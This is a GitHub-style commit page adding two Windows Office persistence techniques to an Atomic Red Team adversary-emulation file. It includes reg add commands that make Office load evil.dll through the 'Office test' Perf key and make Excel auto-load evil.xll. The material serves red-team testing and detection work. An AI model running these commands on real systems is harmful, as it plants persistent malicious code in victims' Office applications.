infosecn1nja
/
atomic-red-team
mirror of https://github.com/infosecn1nja/atomic-red-team.git
1
0
Fork 0
Code Issues Packages Projects Releases Wiki Activity

Adding Office Test and Excel XLL Persistence

patch-7
rahmatnurfauzi 2018-03-15 21:45:30 +07:00 committed by GitHub
parent fdde68b5e7
commit 0320871e3c
No known key found for this signature in database
GPG Key ID: 4AEE18F83AFDEB23
1 changed files with 8 additions and 0 deletions
Show Stats Download Patch File Download Diff File Expand all files Collapse all files

8
Windows/Persistence/Office_Application_Startup.md
View File

@ -26,3 +26,11 @@ Generate the payload and download.ps1 following the Unicorn instructions, or to
## Word VBA Macro ## Word VBA Macro
[Dragon's Tail](https://github.com/redcanaryco/atomic-red-team/tree/master/ARTifacts/Adversary/Dragons_Tail) [Dragon's Tail](https://github.com/redcanaryco/atomic-red-team/tree/master/ARTifacts/Adversary/Dragons_Tail)
## Office Test
`reg add "HKEY_CURRENT_USER\Software\Microsoft\Office test\Special\Perf" /t REG_SZ /d C:\Users\<username>\evil.dll`
## Excel XLL
`reg add "HKEY_CURRENT_USER\Software\Microsoft\Office\15.0\Excel\Options" /v OPEN /t REG_SZ /d "/R evil.xll"`